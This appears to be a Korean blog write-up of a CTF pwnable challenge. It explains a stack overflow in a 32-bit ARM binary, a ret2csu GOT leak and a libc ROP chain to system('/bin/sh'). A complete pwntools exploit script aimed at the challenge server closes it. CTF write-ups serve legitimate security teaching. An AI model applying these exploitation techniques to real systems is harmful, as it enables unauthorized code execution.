CTF/Write UPs

[Hspace Open CTF] beat arm 풀이 (32bit arm, return to csu)

jir4vvit 2022. 1. 17. 15:22
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

21년도 12월 4일에 있었던 Hspace Open CTF에 출제되었던 beat arm이라는 문제이다.

약 두달전에 푼거를 이제 롸업을 적었다.

 


문제 설명

Can you beat ARM? LOL

$ file beat_armbeat_arm: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, BuildID[sha1]=3ae082761da3927964058af1a3eec40d1d0891d5, for GNU/Linux 3.2.0, not stripped

 

제공 파일 : 문제 바이너리, dockerfile

롸업

info

[*] '/home/jir4vvit/CTF/hspace2021/beat_arm'
    Arch:     **arm-32-little**
    RELRO:    Full RELRO
    Stack:    **No canary found**
    NX:       NX enabled
    PIE:      **No PIE (0x10000)**

주목해야할 것은 32bit arm이라는 것

vuln

이상한(?) 배너를 출력하고 메뉴를 출력해주는데, 그 메뉴에서 1번을 선택하면 fight() 함수가 실행이 된다.

main 함수

fight() 함수 내부를 살펴보면 선물(!)을 주는 부분을 찾아볼 수 있다.

fight 함수

선물을 주는 기준은 정말 random이다.

만약 선물을 받게되면 comments를 적을 수 있는데 이때 read함수로 &buf에 데이터를 쓸 수 있다. 참고로 이때 buf는 int이고 아래와 같이 정의되어 있다.

base pointer로부터 0x5C만큼 떨어져있는데 0x80만큼 쓸 수 있는거면 bof가 터지게 된다.

아래처럼 코드를 작성해서 선물 받는 것을 트리거할 수 있다.

while True: 
    p.sendlineafter('> ', str(1))
    p.sendlineafter('> ', str(2))
    try:
        if p.recvuntil('comments.', timeout=0.5):
            break
    except:
        pass

How to Debug with gdb-multiarch

참고로 이 문제는 os가 ARM이기 때문에 이때까지 푼 문제들과는 디버깅하는 방법이 좀 다르다.

$ sudo apt install gcc-arm-linux-gnueabi (32bit)
$ sudo apt install gcc-aarch64-linux-gnu (64bit)

# qemu
$ sudo apt install qemu-arm-static

# gdb remote
# (terminal A)
$ qemu-arm-static -L /usr/arm-linux-gnueabi -g 2222 ./test
# (terminal B)
$ gdb-multiarch -q ./beat_arm
gdb> target remote localhost:2222

How to Exploit

How to leak

(참고로 인텔에서 csu를 이용하는 건 여기를 참고 해보자 ㅎㅎㅋ)

가젯이 없어서 csu 를 이용하여 leak을 해야한다. 레지스터에 대한 설명을 아~래 있다.

LDR은 눈치상 load 명령

BLX는 미리 말하면 call이다.

BNE는 Branch Not Equal

으음 r7에 puts_got 주소 넣어놓고(결론적으론 r0에 넣어야함, r0은 첫번째 argument)

BLX R3 때 puts_got 주소가 출력될 수 있게

r3에 puts_got를 넣어놓으면(결론적으론 r5에 넣어야함) got 주소를 leak할 수 있을 것 같다!

csu2 = 0x10D2C
csu1 = 0x10D0C

payload = ''
payload += 'A' * 0x5c
payload += p32(csu2)
# r4에서 r10까지 7개 레지스터 세팅
payload += p32(0) + p32(puts_got) + p32(0) + p32(puts_got) + p32(0)*3
payload += p32(csu1)
payload += p32(0) * 7
payload += p32(main)

p.sendlineafter('> ', payload)

p.recvuntil('\\n')
leak = u32(p.recv(4))
print("[*] leak(puts_got) :: ",hex(leak))

aslr이 걸려있지 않기 때문에 leak된 값을 static하게 코드에 넣어서 system 주소와 binsh 문자열 주소를 구했다.

gogo

32bit arm에서의 레지스터는 우리가 흔히 아는.. 인텔 레지스터와 다르다.

  • 범용 레지스터
    • r0 : 리턴값
    • r0~r3 : argument 1~4
    • r7 : arm 모드와 thumb 모드에 따라 역할이 다름. (arm 모드에서는 ebp, thumb 모드에서는 system call number)
    • r14 : lr(복귀주소)
    • r13 : sp
    • r15 : pc

결론적으로 우리는 셸을 따기 위해서 system함수를 call해야하는데 arm에서는 어떻게 표현이 될까?

  • CALL = BLX = Branch with LR
    • r14에 복귀주소를 저장한다.
    • B : branch
    • L : lr 레지스터 저장
    • X : thumb mode 전환
payload = ''
payload += 'A' * 0x5c
payload += p32(pop_r0+libc_base) + p32(binsh)
payload += p32(pop_r7+libc_base) + p32(system)
payload += p32(blx_r7+libc_base)

pause()
p.sendlineafter('> ', payload)

r0에 인자를 세팅해주고 r7에 system 주소를 넣어주고 call해준다.

참고로 저 가젯은 문제 바이너리가 아닌 libc에서 찾았다.

exploit code

from pwn import *

p = remote('pwnpwn.xyz', 1015)
#p = process(['qemu-arm-static', '-L' ,'/usr/arm-linux-gnueabi','-g', '12345', './beat_arm'])
e = ELF('./beat_arm')
libc = ELF('./libc-2.31.so')

puts_got = e.got['puts']
puts_plt = e.plt['puts']
main = e.symbols['main']

csu2 = 0x10D2C
csu1 = 0x10D0C

pop_r0 = 0x001225a4
pop_r7 = 0x0002e78c
blx_r7 = 0x00018870

while True: 
    p.sendlineafter('> ', str(1))
    p.sendlineafter('> ', str(2))
    try:
        if p.recvuntil('comments.', timeout=0.5):
            break
    except:
        pass
'''
payload = ''
payload += 'A' * 0x5c
payload += p32(csu2)
payload += p32(0) + p32(puts_got) + p32(0) + p32(puts_got) + p32(0)*3
payload += p32(csu1)
payload += p32(0) * 7
payload += p32(main)

pause()
p.sendlineafter('> ', payload)

p.recvuntil('\\n')
leak = u32(p.recv(4))
print("[*] leak(puts_got) :: ",hex(leak))
'''

# no aslr
leak = 0xff6c0620
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\\x00').next()

print("[+] system :: ", hex(system))
print("[+] binsh :: ", hex(binsh))

'''
while True:
    p.sendlineafter('> ', str(1))
    p.sendlineafter('> ', str(2))
    try:
        if p.recvuntil('comments.', timeout=0.5):
            break
    except:
        pass
'''
payload = ''
payload += 'A' * 0x5c
payload += p32(pop_r0+libc_base) + p32(binsh)
payload += p32(pop_r7+libc_base) + p32(system)
payload += p32(blx_r7+libc_base)

pause()
p.sendlineafter('> ', payload)

p.interactive()